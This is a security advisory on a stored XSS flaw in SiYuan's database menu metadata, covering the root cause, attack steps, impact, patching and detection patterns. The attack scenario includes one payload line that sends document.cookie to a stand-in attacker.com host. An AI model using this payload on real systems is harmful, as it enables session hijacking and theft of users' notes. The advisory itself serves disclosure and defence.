SiYuan Stored XSS via Database Menu Metadata (CVE-2026-73042)

Executive Summary

CVE-2026-73042 is a stored cross-site scripting (XSS) vulnerability in SiYuan, a popular self-hosted personal knowledge management application. Versions prior to v3.7.4 fail to properly escape database menu metadata during HTML interpolation, allowing an attacker with note-editing access to inject persistent JavaScript that executes whenever other users interact with group, view, or field-edit menus.

CVSS Score: 9.0 (Critical)

Vulnerability Overview

Root Cause

SiYuan's database block renderer inserts field descriptions, group names, and view names directly into HTML without escaping special characters. Attackers can craft field descriptions or names containing markup that breaks out of the enclosing HTML elements and injects event handler attributes (e.g., onmouseover, onfocus). The injected payload persists in the SiYuan database and fires each time any user opens the affected menu.

Attack Scenario

1. Attacker gains note-editing access (shared notebook, collaborative workspace)
2. Creates a database field with a malicious description:
      "></div><img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
3. Payload is stored verbatim in the SiYuan database
4. Any user who opens the group/view/field-edit menu triggers execution
5. Attacker harvests session tokens, CSRF tokens, or local notes content

Impact

• Session hijacking via stolen authentication cookies or tokens
• Data exfiltration — SiYuan stores sensitive personal notes; XSS can read and exfiltrate them
• Credential theft — Injected scripts can capture keystrokes or redirect login forms
• Persistent access — Payload survives until the malicious field is manually identified and removed

Affected Versions

Remediation

Immediate Action

1. Update SiYuan to v3.7.4 or later — the fix applies proper HTML entity encoding to all database menu metadata before interpolation.
2. Audit shared notebooks for suspicious field names or descriptions containing HTML markup.
3. If running in a multi-user or networked environment, treat this as a high-priority patch.

Workaround (if patching is not immediately possible)

• Restrict database editing access to trusted users only.
• Avoid opening group/view/field menus in notebooks shared with untrusted collaborators until patched.

Detection

Look for field names or descriptions in SiYuan databases containing:

• HTML angle brackets (<, >)
• JavaScript event attributes (onerror, onload, onmouseover, etc.)
• <script> tags or javascript: URIs

Review SiYuan's data/ directory and audit .sy files for unexpected HTML markup embedded in attribute-view metadata.

Key Takeaways

1. CVSS 9.0 Critical — Stored XSS with network reach; no server-side privileges required beyond note editing
2. Self-hosted knowledge bases are high-value targets — they aggregate sensitive personal and professional data
3. Patch to SiYuan v3.7.4 immediately if running a shared or networked instance
4. Audit existing databases for injected payloads that may pre-date the patch

References

• NVD — CVE-2026-73042
• SiYuan GitHub

Related Advisories

• SiYuan Style Attribute XSS — CVE-2026-73044
• SiYuan Auth Brute-Force — CVE-2026-73046
• SiYuan Select Color XSS — CVE-2026-73050